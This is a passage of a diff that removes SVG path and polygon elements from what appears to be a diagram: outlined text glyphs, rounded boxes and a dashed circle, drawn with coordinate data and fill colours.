C630.791417,224.13098 629.9685,223.907022 629.406,223.459105 C628.8435,223.011188 628.484125,222.344522 628.327875,221.459105 Z M639.952875,222.677855 L640.156,223.927855 C639.760167,224.011188 639.406,224.052855 639.0935,224.052855 C638.583083,224.052855 638.18725,223.97473 637.906,223.81848 C637.62475,223.651813 637.426833,223.438272 637.31225,223.177855 C637.197667,222.907022 637.140375,222.34973 637.140375,221.50598 L637.140375,216.740355 L636.109125,216.740355 L636.109125,215.646605 L637.140375,215.646605 L637.140375,213.584105 L638.546625,212.740355 L638.546625,215.646605 L639.952875,215.646605 L639.952875,216.740355 L638.546625,216.740355 L638.546625,221.584105 C638.546625,221.990355 638.567458,222.250772 638.609125,222.365355 C638.661208,222.479938 638.744542,222.573688 638.859125,222.646605 C638.973708,222.709105 639.135167,222.740355 639.3435,222.740355 C639.49975,222.740355 639.702875,222.719522 639.952875,222.677855 Z M640.773187,221.459105 L642.163812,221.240355 C642.236729,221.802855 642.450271,222.235147 642.804437,222.53723 C643.169021,222.828897 643.669021,222.97473 644.304437,222.97473 C644.950271,222.97473 645.429437,222.844522 645.741937,222.584105 C646.054437,222.313272 646.210687,222.000772 646.210687,221.646605 C646.210687,221.334105 646.075271,221.084105 645.804437,220.896605 C645.606521,220.771605 645.127354,220.615355 644.366937,220.427855 C643.335687,220.167438 642.616937,219.94348 642.210687,219.75598 C641.814854,219.558063 641.512771,219.292438 641.304437,218.959105 C641.106521,218.625772 641.007562,218.25598 641.007562,217.84973 C641.007562,217.47473 641.090896,217.13098 641.257562,216.81848 C641.424229,216.50598 641.653396,216.245563 641.945062,216.03723 C642.163812,215.870563 642.460687,215.735147 642.835687,215.63098 C643.221104,215.516397 643.627354,215.459105 644.054437,215.459105 C644.710687,215.459105 645.283604,215.552855 645.773187,215.740355 C646.262771,215.927855 646.622146,216.183063 646.851312,216.50598 C647.090896,216.81848 647.257562,217.245563 647.351312,217.78723 L645.976312,217.97473 C645.913812,217.547647 645.731521,217.214313 645.429437,216.97473 C645.127354,216.735147 644.705479,216.615355 644.163812,216.615355 C643.517979,216.615355 643.054437,216.72473 642.773187,216.94348 C642.502354,217.151813 642.366937,217.396605 642.366937,217.677855 C642.366937,217.865355 642.424229,218.032022 642.538812,218.177855 C642.653396,218.323688 642.830479,218.448688 643.070062,218.552855 C643.215896,218.604938 643.632562,218.72473 644.320062,218.91223 C645.309646,219.172647 646.002354,219.391397 646.398187,219.56848 C646.794021,219.735147 647.101312,219.979938 647.320062,220.302855 C647.549229,220.625772 647.663812,221.026813 647.663812,221.50598 C647.663812,221.97473 647.523187,222.417438 647.241937,222.834105 C646.971104,223.240355 646.575271,223.558063 646.054437,223.78723 C645.544021,224.016397 644.965896,224.13098 644.320062,224.13098 C643.236729,224.13098 642.413812,223.907022 641.851312,223.459105 C641.288812,223.011188 640.929437,222.344522 640.773187,221.459105 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M625.3357,242.94348 L623.92945,242.94348 L623.92945,233.97473 C623.5857,234.297647 623.137783,234.620563 622.5857,234.94348 C622.044033,235.266397 621.55445,235.511188 621.11695,235.677855 L621.11695,234.31848 C621.8982,233.94348 622.580492,233.495563 623.163825,232.97473 C623.757575,232.44348 624.17945,231.933063 624.42945,231.44348 L625.3357,231.44348 L625.3357,242.94348 Z M629.499762,242.94348 L629.499762,231.490355 L633.827887,231.490355 C634.588304,231.490355 635.166429,231.526813 635.562262,231.59973 C636.124762,231.69348 636.593512,231.870563 636.968512,232.13098 C637.353929,232.391397 637.661221,232.761188 637.890387,233.240355 C638.129971,233.709105 638.249762,234.229938 638.249762,234.802855 C638.249762,235.771605 637.937262,236.594522 637.312262,237.271605 C636.697679,237.948688 635.577887,238.28723 633.952887,238.28723 L631.015387,238.28723 L631.015387,242.94348 L629.499762,242.94348 Z M631.015387,236.927855 L633.984137,236.927855 C634.963304,236.927855 635.656012,236.745563 636.062262,236.38098 C636.478929,236.016397 636.687262,235.50598 636.687262,234.84973 C636.687262,234.370563 636.562262,233.959105 636.312262,233.615355 C636.072679,233.271605 635.754971,233.047647 635.359137,232.94348 C635.109137,232.870563 634.640387,232.834105 633.952887,232.834105 L631.015387,232.834105 L631.015387,236.927855 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M524.154844,512.0395 L524.154844,512.0395 C524.154844,434.0847 588.830326,370.88987 668.61158,370.88987 L668.61158,370.88987 C706.923836,370.88987 743.667,385.760933 770.75788,412.231636 C797.848761,438.702309 813.068244,474.604256 813.068244,512.039496 L813.068244,512.039496 C813.068244,589.994266 748.392768,653.189096 668.611574,653.189096 L668.611574,653.189096 C588.830324,653.189096 524.154844,589.994272 524.154844,512.039496 L524.154844,512.0395 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M524.154844,512.0395 L524.154844,512.0395 C524.154844,434.0847 588.830326,370.88987 668.61158,370.88987 L668.61158,370.88987 C706.923836,370.88987 743.667,385.760933 770.75788,412.231636 C797.848761,438.702309 813.068244,474.604256 813.068244,512.039496 L813.068244,512.039496 C813.068244,589.994266 748.392768,653.189096 668.611574,653.189096 L668.611574,653.189096 C588.830324,653.189096 524.154844,589.994272 524.154844,512.039496 L524.154844,512.0395 Z" id="Path" stroke="#434753" stroke-linejoin="round" stroke-dasharray="8,3"></path>
-                <path d="M590.70557,550.2439 L590.70557,550.2439 C590.70557,541.99567 597.392032,535.309208 605.640262,535.309208 L731.581912,535.309208 C735.542849,535.309208 739.341494,536.882633 742.142337,539.683476 C744.943118,542.484257 746.516605,546.282963 746.516605,550.243901 L746.516605,609.980778 C746.516605,618.229008 739.830081,624.91547 731.581913,624.91547 L605.640263,624.91547 C597.392033,624.91547 590.70557,618.229007 590.70557,609.980778 L590.70557,550.2439 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M590.70557,550.2439 L590.70557,550.2439 C590.70557,541.99567 597.392032,535.309208 605.640262,535.309208 L731.581912,535.309208 C735.542849,535.309208 739.341494,536.882633 742.142337,539.683476 C744.943118,542.484257 746.516605,546.282963 746.516605,550.243901 L746.516605,609.980778 C746.516605,618.229008 739.830081,624.91547 731.581913,624.91547 L605.640263,624.91547 C597.392033,624.91547 590.70557,618.229007 590.70557,609.980778 L590.70557,550.2439 Z" id="Path" stroke="#00BFB3" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M658.01184,565.4159 C657.397257,565.926317 656.808715,566.2909 656.246215,566.50965 C655.694132,566.717983 655.095173,566.82215 654.44934,566.82215 C653.38684,566.82215 652.569132,566.561733 651.996215,566.0409 C651.423298,565.520067 651.13684,564.858608 651.13684,564.056525 C651.13684,563.577358 651.246215,563.145067 651.464965,562.75965 C651.683715,562.363817 651.964965,562.051317 652.308715,561.82215 C652.662882,561.582567 653.058715,561.400275 653.496215,561.275275 C653.808715,561.191942 654.29309,561.108608 654.94934,561.025275 C656.272257,560.869025 657.246215,560.681525 657.871215,560.462775 C657.881632,560.233608 657.88684,560.092983 657.88684,560.0409 C657.88684,559.374233 657.73059,558.900275 657.41809,558.619025 C657.001423,558.254442 656.376423,558.07215 655.54309,558.07215 C654.772257,558.07215 654.204548,558.207567 653.839965,558.4784 C653.475382,558.749233 653.204548,559.223192 653.027465,559.900275 L651.41809,559.681525 C651.563923,559.004442 651.803507,558.457567 652.13684,558.0409 C652.470173,557.613817 652.954548,557.285692 653.589965,557.056525 C654.225382,556.827358 654.954548,556.712775 655.777465,556.712775 C656.610798,556.712775 657.282673,556.811733 657.79309,557.00965 C658.313923,557.19715 658.694132,557.441942 658.933715,557.744025 C659.183715,558.035692 659.35559,558.405483 659.44934,558.8534 C659.501423,559.13465 659.527465,559.639858 659.527465,560.369025 L659.527465,562.556525 C659.527465,564.077358 659.563923,565.0409 659.63684,565.44715 C659.709757,565.842983 659.845173,566.2284 660.04309,566.6034 L658.339965,566.6034 C658.162882,566.25965 658.053507,565.863817 658.01184,565.4159 Z M657.871215,561.744025 C657.277465,561.994025 656.38684,562.202358 655.19934,562.369025 C654.522257,562.462775 654.04309,562.57215 653.76184,562.69715 C653.48059,562.82215 653.26184,562.999233 653.10559,563.2284 C652.959757,563.457567 652.88684,563.717983 652.88684,564.00965 C652.88684,564.44715 653.053507,564.811733 653.38684,565.1034 C653.720173,565.395067 654.204548,565.5409 654.839965,565.5409 C655.464965,565.5409 656.022257,565.405483 656.51184,565.13465 C657.01184,564.8534 657.376423,564.473192 657.60559,563.994025 C657.782673,563.619025 657.871215,563.07215 657.871215,562.3534 L657.871215,561.744025 Z M662.075072,566.6034 L662.075072,556.931525 L663.543822,556.931525 L663.543822,558.2909 C663.845906,557.811733 664.246947,557.431525 664.746947,557.150275 C665.257364,556.858608 665.830281,556.712775 666.465697,556.712775 C667.184447,556.712775 667.772989,556.863817 668.231322,557.1659 C668.689656,557.457567 669.012572,557.869025 669.200072,558.400275 C669.970906,557.275275 670.965697,556.712775 672.184447,556.712775 C673.153197,556.712775 673.892781,556.9784 674.403197,557.50965 C674.924031,558.0409 675.184447,558.858608 675.184447,559.962775 L675.184447,566.6034 L673.543822,566.6034 L673.543822,560.50965 C673.543822,559.8534 673.491739,559.38465 673.387572,559.1034 C673.283406,558.811733 673.090697,558.577358 672.809447,558.400275 C672.528197,558.223192 672.200072,558.13465 671.825072,558.13465 C671.147989,558.13465 670.585489,558.363817 670.137572,558.82215 C669.689656,559.270067 669.465697,559.988817 669.465697,560.9784 L669.465697,566.6034 L667.825072,566.6034 L667.825072,560.32215 C667.825072,559.592983 667.689656,559.046108 667.418822,558.681525 C667.147989,558.316942 666.710489,558.13465 666.106322,558.13465 C665.647989,558.13465 665.220906,558.254442 664.825072,558.494025 C664.429239,558.733608 664.142781,559.087775 663.965697,559.556525 C663.799031,560.025275 663.715697,560.702358 663.715697,561.587775 L663.715697,566.6034 L662.075072,566.6034 Z M685.772093,565.025275 L685.772093,566.6034 L676.943968,566.6034 C676.933552,566.207567 676.996052,565.827358 677.131468,565.462775 C677.360635,564.858608 677.72001,564.264858 678.209593,563.681525 C678.709593,563.098192 679.428343,562.426317 680.365843,561.6659 C681.81376,560.4784 682.792927,559.535692 683.303343,558.837775 C683.81376,558.139858 684.068968,557.483608 684.068968,556.869025 C684.068968,556.212775 683.834593,555.6659 683.365843,555.2284 C682.90751,554.780483 682.303343,554.556525 681.553343,554.556525 C680.761677,554.556525 680.12626,554.796108 679.647093,555.275275 C679.178343,555.744025 678.943968,556.395067 678.943968,557.2284 L677.256468,557.056525 C677.371052,555.796108 677.803343,554.837775 678.553343,554.181525 C679.31376,553.525275 680.324177,553.19715 681.584593,553.19715 C682.865843,553.19715 683.881468,553.551317 684.631468,554.25965 C685.381468,554.967983 685.756468,555.848192 685.756468,556.900275 C685.756468,557.431525 685.647093,557.957567 685.428343,558.4784 C685.209593,558.999233 684.84501,559.546108 684.334593,560.119025 C683.834593,560.681525 682.990843,561.462775 681.803343,562.462775 C680.824177,563.285692 680.193968,563.848192 679.912718,564.150275 C679.631468,564.441942 679.402302,564.733608 679.225218,565.025275 L685.772093,565.025275 Z" id="Shape" fill="#3EBEB0" fill-rule="nonzero"></path>
-                <polygon id="Path" fill-opacity="0" fill="#000000" points="574.4228 379.9211 762.80073 379.9211 762.80073 420.36205 574.4228 420.36205"></polygon>
-                <path d="M615.70435,407.02863 C614.256433,407.02863 613.136642,406.585922 612.344975,405.700505 C611.553308,404.804672 611.157475,403.544255 611.157475,401.919255 C611.157475,400.242172 611.558517,398.950505 612.3606,398.044255 C613.1731,397.127588 614.318933,396.669255 615.7981,396.669255 C616.277267,396.669255 616.756433,396.721338 617.2356,396.825505 C617.725183,396.929672 618.105392,397.054672 618.376225,397.200505 L617.907475,398.481755 C617.574142,398.346338 617.209558,398.236963 616.813725,398.15363 C616.417892,398.05988 616.068933,398.013005 615.76685,398.013005 C613.7356,398.013005 612.719975,399.304672 612.719975,401.888005 C612.719975,403.117172 612.964767,404.05988 613.45435,404.71613 C613.95435,405.37238 614.693933,405.700505 615.6731,405.700505 C616.506433,405.700505 617.355392,405.523422 618.219975,405.169255 L618.219975,406.49738 C617.553308,406.851547 616.714767,407.02863 615.70435,407.02863 Z M622.101689,406.84113 L620.601689,406.84113 L620.601689,392.669255 L622.101689,392.669255 L622.101689,406.84113 Z M626.742314,396.856755 L626.742314,403.34113 C626.742314,404.15363 626.924606,404.763005 627.289189,405.169255 C627.664189,405.565088 628.242314,405.763005 629.023564,405.763005 C630.075647,405.763005 630.841272,405.476547 631.320439,404.90363 C631.799606,404.330713 632.039189,403.398422 632.039189,402.106755 L632.039189,396.856755 L633.554814,396.856755 L633.554814,406.84113 L632.304814,406.84113 L632.086064,405.49738 L632.007939,405.49738 C631.695439,405.99738 631.263147,406.377588 630.711064,406.638005 C630.169397,406.898422 629.544397,407.02863 628.836064,407.02863 C627.627731,407.02863 626.721481,406.742172 626.117314,406.169255 C625.513147,405.585922 625.211064,404.658838 625.211064,403.388005 L625.211064,396.856755 L626.742314,396.856755 Z M643.208562,404.12238 C643.208562,405.049463 642.859604,405.768213 642.161687,406.27863 C641.474187,406.77863 640.505437,407.02863 639.255437,407.02863 C637.93252,407.02863 636.90127,406.815088 636.161687,406.388005 L636.161687,404.99738 C636.640854,405.236963 637.15127,405.429672 637.692937,405.575505 C638.24502,405.710922 638.77627,405.77863 639.286687,405.77863 C640.078354,405.77863 640.687729,405.65363 641.114812,405.40363 C641.541895,405.143213 641.755437,404.757797 641.755437,404.24738 C641.755437,403.861963 641.583562,403.52863 641.239812,403.24738 C640.906479,402.96613 640.250229,402.638005 639.271062,402.263005 C638.343979,401.919255 637.68252,401.62238 637.286687,401.37238 C636.90127,401.111963 636.609604,400.820297 636.411687,400.49738 C636.224187,400.164047 636.130437,399.768213 636.130437,399.30988 C636.130437,398.49738 636.458562,397.856755 637.114812,397.388005 C637.781479,396.908838 638.692937,396.669255 639.849187,396.669255 C640.922104,396.669255 641.968979,396.888005 642.989812,397.325505 L642.458562,398.55988 C641.458562,398.143213 640.552312,397.93488 639.739812,397.93488 C639.021062,397.93488 638.479395,398.049463 638.114812,398.27863 C637.750229,398.507797 637.567937,398.815088 637.567937,399.200505 C637.567937,399.471338 637.635645,399.700505 637.771062,399.888005 C637.906479,400.075505 638.125229,400.257797 638.427312,400.43488 C638.729395,400.601547 639.312729,400.846338 640.177312,401.169255 C641.364812,401.596338 642.166895,402.02863 642.583562,402.46613 C643.000229,402.90363 643.208562,403.455713 643.208562,404.12238 Z M648.889775,405.77863 C649.160609,405.77863 649.415817,405.757797 649.6554,405.71613 C649.9054,405.674463 650.103317,405.632797 650.24915,405.59113 L650.24915,406.74738 C650.0929,406.830713 649.853317,406.898422 649.5304,406.950505 C649.207484,407.002588 648.921025,407.02863 648.671025,407.02863 C646.743942,407.02863 645.7804,406.007797 645.7804,403.96613 L645.7804,398.02863 L644.3429,398.02863 L644.3429,397.30988 L645.7804,396.669255 L646.4054,394.544255 L647.2804,394.544255 L647.2804,396.856755 L650.18665,396.856755 L650.18665,398.02863 L647.2804,398.02863 L647.2804,403.90363 C647.2804,404.507797 647.421025,404.971338 647.702275,405.294255 C647.993942,405.617172 648.389775,405.77863 648.889775,405.77863 Z M656.475957,407.02863 C654.99679,407.02863 653.830124,406.580713 652.975957,405.68488 C652.12179,404.77863 651.694707,403.52863 651.694707,401.93488 C651.694707,400.320297 652.09054,399.039047 652.882207,398.09113 C653.673874,397.143213 654.736374,396.669255 656.069707,396.669255 C657.330124,396.669255 658.319707,397.080713 659.038457,397.90363 C659.767624,398.726547 660.132207,399.815088 660.132207,401.169255 L660.132207,402.12238 L653.257207,402.12238 C653.288457,403.299463 653.585332,404.190088 654.147832,404.794255 C654.710332,405.398422 655.501999,405.700505 656.522832,405.700505 C657.595749,405.700505 658.658249,405.476547 659.710332,405.02863 L659.710332,406.37238 C659.179082,406.601547 658.673874,406.768213 658.194707,406.87238 C657.71554,406.976547 657.142624,407.02863 656.475957,407.02863 Z M656.054082,397.93488 C655.251999,397.93488 654.611374,398.200505 654.132207,398.731755 C653.663457,399.252588 653.387415,399.971338 653.304082,400.888005 L658.522832,400.888005 C658.522832,399.940088 658.30929,399.210922 657.882207,398.700505 C657.455124,398.190088 656.845749,397.93488 656.054082,397.93488 Z M667.270879,396.669255 C667.718796,396.669255 668.114629,396.705713 668.458379,396.77863 L668.255254,398.18488 C667.838587,398.09113 667.474004,398.044255 667.161504,398.044255 C666.359421,398.044255 665.666712,398.37238 665.083379,399.02863 C664.510462,399.68488 664.224004,400.502588 664.224004,401.481755 L664.224004,406.84113 L662.724004,406.84113 L662.724004,396.856755 L663.958379,396.856755 L664.145879,398.700505 L664.208379,398.700505 C664.583379,398.054672 665.031296,397.554672 665.552129,397.200505 C666.072962,396.846338 666.645879,396.669255 667.270879,396.669255 Z M670.120794,405.87238 C670.120794,405.46613 670.209335,405.158838 670.386419,404.950505 C670.573919,404.742172 670.839544,404.638005 671.183294,404.638005 C671.53746,404.638005 671.813502,404.742172 672.011419,404.950505 C672.209335,405.158838 672.308294,405.46613 672.308294,405.87238 C672.308294,406.268213 672.209335,406.575505 672.011419,406.794255 C671.813502,407.002588 671.53746,407.106755 671.183294,407.106755 C670.88121,407.106755 670.626002,407.013005 670.417669,406.825505 C670.219752,406.627588 670.120794,406.30988 670.120794,405.87238 Z M670.120794,397.825505 C670.120794,397.013005 670.47496,396.606755 671.183294,396.606755 C671.933294,396.606755 672.308294,397.013005 672.308294,397.825505 C672.308294,398.221338 672.209335,398.52863 672.011419,398.74738 C671.813502,398.955713 671.53746,399.05988 671.183294,399.05988 C670.88121,399.05988 670.626002,398.96613 670.417669,398.77863 C670.219752,398.580713 670.120794,398.263005 670.120794,397.825505 Z M686.291144,406.84113 L685.978644,405.419255 L685.916144,405.419255 C685.416144,406.044255 684.916144,406.471338 684.416144,406.700505 C683.92656,406.919255 683.311977,407.02863 682.572394,407.02863 C681.58281,407.02863 680.806769,406.773422 680.244269,406.263005 C679.681769,405.752588 679.400519,405.023422 679.400519,404.075505 C679.400519,402.065088 681.009894,401.007797 684.228644,400.90363 L685.931769,400.856755 L685.931769,400.231755 C685.931769,399.450505 685.759894,398.87238 685.416144,398.49738 C685.08281,398.12238 684.546352,397.93488 683.806769,397.93488 C682.973435,397.93488 682.030727,398.190088 680.978644,398.700505 L680.525519,397.544255 C681.015102,397.283838 681.55156,397.080713 682.134894,396.93488 C682.718227,396.77863 683.306769,396.700505 683.900519,396.700505 C685.088019,396.700505 685.968227,396.96613 686.541144,397.49738 C687.11406,398.018213 687.400519,398.861963 687.400519,400.02863 L687.400519,406.84113 L686.291144,406.84113 Z M682.869269,405.77863 C683.806769,405.77863 684.541144,405.523422 685.072394,405.013005 C685.61406,404.492172 685.884894,403.763005 685.884894,402.825505 L685.884894,401.93488 L684.384894,401.99738 C683.17656,402.039047 682.306769,402.226547 681.775519,402.55988 C681.244269,402.882797 680.978644,403.398422 680.978644,404.106755 C680.978644,404.648422 681.14531,405.065088 681.478644,405.356755 C681.811977,405.638005 682.275519,405.77863 682.869269,405.77863 Z M703.24494,406.84113 L703.24494,400.34113 C703.24494,399.549463 703.073065,398.955713 702.729315,398.55988 C702.395981,398.164047 701.86994,397.96613 701.15119,397.96613 C700.21369,397.96613 699.515773,398.236963 699.05744,398.77863 C698.609523,399.30988 698.385565,400.138005 698.385565,401.263005 L698.385565,406.84113 L696.885565,406.84113 L696.885565,400.34113 C696.885565,399.549463 696.71369,398.955713 696.36994,398.55988 C696.02619,398.164047 695.49494,397.96613 694.77619,397.96613 C693.828273,397.96613 693.130356,398.252588 692.68244,398.825505 C692.24494,399.388005 692.02619,400.315088 692.02619,401.606755 L692.02619,406.84113 L690.52619,406.84113 L690.52619,396.856755 L691.74494,396.856755 L691.99494,398.21613 L692.073065,398.21613 C692.354315,397.736963 692.755356,397.361963 693.27619,397.09113 C693.797023,396.80988 694.380356,396.669255 695.02619,396.669255 C696.578273,396.669255 697.599106,397.236963 698.08869,398.37238 L698.15119,398.37238 C698.453273,397.851547 698.885565,397.440088 699.448065,397.138005 C700.010565,396.825505 700.656398,396.669255 701.385565,396.669255 C702.510565,396.669255 703.354315,396.960922 703.916815,397.544255 C704.479315,398.127588 704.760565,399.054672 704.760565,400.325505 L704.760565,406.84113 L703.24494,406.84113 Z M712.098578,407.02863 C710.619411,407.02863 709.452744,406.580713 708.598578,405.68488 C707.744411,404.77863 707.317328,403.52863 707.317328,401.93488 C707.317328,400.320297 707.713161,399.039047 708.504828,398.09113 C709.296494,397.143213 710.358994,396.669255 711.692328,396.669255 C712.952744,396.669255 713.942328,397.080713 714.661078,397.90363 C715.390244,398.726547 715.754828,399.815088 715.754828,401.169255 L715.754828,402.12238 L708.879828,402.12238 C708.911078,403.299463 709.207953,404.190088 709.770453,404.794255 C710.332953,405.398422 711.124619,405.700505 712.145453,405.700505 C713.218369,405.700505 714.280869,405.476547 715.332953,405.02863 L715.332953,406.37238 C714.801703,406.601547 714.296494,406.768213 713.817328,406.87238 C713.338161,406.976547 712.765244,407.02863 712.098578,407.02863 Z M711.676703,397.93488 C710.874619,397.93488 710.233994,398.200505 709.754828,398.731755 C709.286078,399.252588 709.010036,399.971338 708.926703,400.888005 L714.145453,400.888005 C714.145453,399.940088 713.931911,399.210922 713.504828,398.700505 C713.077744,398.190088 712.468369,397.93488 711.676703,397.93488 Z M724.48725,406.84113 L724.17475,405.419255 L724.11225,405.419255 C723.61225,406.044255 723.11225,406.471338 722.61225,406.700505 C722.122666,406.919255 721.508083,407.02863 720.7685,407.02863 C719.778916,407.02863 719.002875,406.773422 718.440375,406.263005 C717.877875,405.752588 717.596625,405.023422 717.596625,404.075505 C717.596625,402.065088 719.206,401.007797 722.42475,400.90363 L724.127875,400.856755 L724.127875,400.231755 C724.127875,399.450505 723.956,398.87238 723.61225,398.49738 C723.278916,398.12238 722.742458,397.93488 722.002875,397.93488 C721.169541,397.93488 720.226833,398.190088 719.17475,398.700505 L718.721625,397.544255 C719.211208,397.283838 719.747666,397.080713 720.331,396.93488 C720.914333,396.77863 721.502875,396.700505 722.096625,396.700505 C723.284125,396.700505 724.164333,396.96613 724.73725,397.49738 C725.310166,398.018213 725.596625,398.861963 725.596625,400.02863 L725.596625,406.84113 L724.48725,406.84113 Z M721.065375,405.77863 C722.002875,405.77863 722.73725,405.523422 723.2685,405.013005 C723.810166,404.492172 724.081,403.763005 724.081,402.825505 L724.081,401.93488 L722.581,401.99738 C721.372666,402.039047 720.502875,402.226547 719.971625,402.55988 C719.440375,402.882797 719.17475,403.398422 719.17475,404.106755 C719.17475,404.648422 719.341416,405.065088 719.67475,405.356755 C720.008083,405.638005 720.471625,405.77863 721.065375,405.77863 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <path d="M590.70557,446.24387 L590.70557,446.24387 C590.70557,437.995671 597.392032,431.309178 605.640262,431.309178 L731.581912,431.309178 C735.542849,431.309178 739.341494,432.882664 742.142337,435.683446 C744.943118,438.484257 746.516605,442.282964 746.516605,446.243871 L746.516605,505.980811 C746.516605,514.22901 739.830081,520.915473 731.581913,520.915473 L605.640263,520.915473 C597.392033,520.915473 590.70557,514.22901 590.70557,505.980811 L590.70557,446.24387 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M590.70557,446.24387 L590.70557,446.24387 C590.70557,437.995671 597.392032,431.309178 605.640262,431.309178 L731.581912,431.309178 C735.542849,431.309178 739.341494,432.882664 742.142337,435.683446 C744.943118,438.484257 746.516605,442.282964 746.516605,446.243871 L746.516605,505.980811 C746.516605,514.22901 739.830081,520.915473 731.581913,520.915473 L605.640263,520.915473 C597.392033,520.915473 590.70557,514.22901 590.70557,505.980811 L590.70557,446.24387 Z" id="Path" stroke="#00BFB3" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M658.01184,461.4159 C657.397257,461.926317 656.808715,462.2909 656.246215,462.50965 C655.694132,462.717983 655.095173,462.82215 654.44934,462.82215 C653.38684,462.82215 652.569132,462.561733 651.996215,462.0409 C651.423298,461.520067 651.13684,460.858608 651.13684,460.056525 C651.13684,459.577358 651.246215,459.145067 651.464965,458.75965 C651.683715,458.363817 651.964965,458.051317 652.308715,457.82215 C652.662882,457.582567 653.058715,457.400275 653.496215,457.275275 C653.808715,457.191942 654.29309,457.108608 654.94934,457.025275 C656.272257,456.869025 657.246215,456.681525 657.871215,456.462775 C657.881632,456.233608 657.88684,456.092983 657.88684,456.0409 C657.88684,455.374233 657.73059,454.900275 657.41809,454.619025 C657.001423,454.254442 656.376423,454.07215 655.54309,454.07215 C654.772257,454.07215 654.204548,454.207567 653.839965,454.4784 C653.475382,454.749233 653.204548,455.223192 653.027465,455.900275 L651.41809,455.681525 C651.563923,455.004442 651.803507,454.457567 652.13684,454.0409 C652.470173,453.613817 652.954548,453.285692 653.589965,453.056525 C654.225382,452.827358 654.954548,452.712775 655.777465,452.712775 C656.610798,452.712775 657.282673,452.811733 657.79309,453.00965 C658.313923,453.19715 658.694132,453.441942 658.933715,453.744025 C659.183715,454.035692 659.35559,454.405483 659.44934,454.8534 C659.501423,455.13465 659.527465,455.639858 659.527465,456.369025 L659.527465,458.556525 C659.527465,460.077358 659.563923,461.0409 659.63684,461.44715 C659.709757,461.842983 659.845173,462.2284 660.04309,462.6034 L658.339965,462.6034 C658.162882,462.25965 658.053507,461.863817 658.01184,461.4159 Z M657.871215,457.744025 C657.277465,457.994025 656.38684,458.202358 655.19934,458.369025 C654.522257,458.462775 654.04309,458.57215 653.76184,458.69715 C653.48059,458.82215 653.26184,458.999233 653.10559,459.2284 C652.959757,459.457567 652.88684,459.717983 652.88684,460.00965 C652.88684,460.44715 653.053507,460.811733 653.38684,461.1034 C653.720173,461.395067 654.204548,461.5409 654.839965,461.5409 C655.464965,461.5409 656.022257,461.405483 656.51184,461.13465 C657.01184,460.8534 657.376423,460.473192 657.60559,459.994025 C657.782673,459.619025 657.871215,459.07215 657.871215,458.3534 L657.871215,457.744025 Z M662.075072,462.6034 L662.075072,452.931525 L663.543822,452.931525 L663.543822,454.2909 C663.845906,453.811733 664.246947,453.431525 664.746947,453.150275 C665.257364,452.858608 665.830281,452.712775 666.465697,452.712775 C667.184447,452.712775 667.772989,452.863817 668.231322,453.1659 C668.689656,453.457567 669.012572,453.869025 669.200072,454.400275 C669.970906,453.275275 670.965697,452.712775 672.184447,452.712775 C673.153197,452.712775 673.892781,452.9784 674.403197,453.50965 C674.924031,454.0409 675.184447,454.858608 675.184447,455.962775 L675.184447,462.6034 L673.543822,462.6034 L673.543822,456.50965 C673.543822,455.8534 673.491739,455.38465 673.387572,455.1034 C673.283406,454.811733 673.090697,454.577358 672.809447,454.400275 C672.528197,454.223192 672.200072,454.13465 671.825072,454.13465 C671.147989,454.13465 670.585489,454.363817 670.137572,454.82215 C669.689656,455.270067 669.465697,455.988817 669.465697,456.9784 L669.465697,462.6034 L667.825072,462.6034 L667.825072,456.32215 C667.825072,455.592983 667.689656,455.046108 667.418822,454.681525 C667.147989,454.316942 666.710489,454.13465 666.106322,454.13465 C665.647989,454.13465 665.220906,454.254442 664.825072,454.494025 C664.429239,454.733608 664.142781,455.087775 663.965697,455.556525 C663.799031,456.025275 663.715697,456.702358 663.715697,457.587775 L663.715697,462.6034 L662.075072,462.6034 Z M683.334593,462.6034 L681.693968,462.6034 L681.693968,452.150275 C681.298135,452.525275 680.777302,452.905483 680.131468,453.2909 C679.496052,453.6659 678.923135,453.94715 678.412718,454.13465 L678.412718,452.5409 C679.329385,452.113817 680.131468,451.592983 680.818968,450.9784 C681.506468,450.363817 681.990843,449.770067 682.272093,449.19715 L683.334593,449.19715 L683.334593,462.6034 Z" id="Shape" fill="#3EBEB0" fill-rule="nonzero"></path>
-                <path d="M636.8635,480.42615 L636.8635,480.42615 C636.8635,476.619509 639.949377,473.533633 643.756017,473.533633 L693.467017,473.533633 C695.29502,473.533633 697.048194,474.259799 698.340796,475.552401 C699.633399,476.845004 700.359534,478.598147 700.359534,480.42615 L700.359534,507.995425 C700.359534,511.802066 697.273658,514.887942 693.467017,514.887942 L643.756017,514.887942 C639.949377,514.887942 636.8635,511.802066 636.8635,507.995425 L636.8635,480.42615 Z" id="Path" fill="#FEC514"></path>
-                <path d="M650.553,493.75827 L650.553,482.273895 L651.83425,482.273895 L651.83425,483.35202 C652.136333,482.924937 652.474875,482.607228 652.849875,482.398895 C653.235292,482.190562 653.698833,482.086395 654.2405,482.086395 C654.948833,482.086395 655.573833,482.268687 656.1155,482.63327 C656.657167,482.997853 657.063417,483.513478 657.33425,484.180145 C657.6155,484.836395 657.756125,485.560353 657.756125,486.35202 C657.756125,487.206187 657.599875,487.971812 657.287375,488.648895 C656.985292,489.325978 656.542583,489.846812 655.95925,490.211395 C655.386333,490.575978 654.776958,490.75827 654.131125,490.75827 C653.662375,490.75827 653.2405,490.659312 652.8655,490.461395 C652.500917,490.263478 652.198833,490.013478 651.95925,489.711395 L651.95925,493.75827 L650.553,493.75827 Z M651.818625,486.461395 C651.818625,487.534312 652.032167,488.325978 652.45925,488.836395 C652.89675,489.346812 653.422792,489.60202 654.037375,489.60202 C654.662375,489.60202 655.198833,489.336395 655.64675,488.805145 C656.094667,488.273895 656.318625,487.456187 656.318625,486.35202 C656.318625,485.28952 656.099875,484.497853 655.662375,483.97702 C655.224875,483.44577 654.704042,483.180145 654.099875,483.180145 C653.506125,483.180145 652.974875,483.461395 652.506125,484.023895 C652.047792,484.586395 651.818625,485.398895 651.818625,486.461395 Z M658.920187,486.41452 C658.920187,484.88327 659.347271,483.747853 660.201437,483.00827 C660.920187,482.393687 661.789979,482.086395 662.810812,482.086395 C663.956646,482.086395 664.888937,482.461395 665.607687,483.211395 C666.336854,483.950978 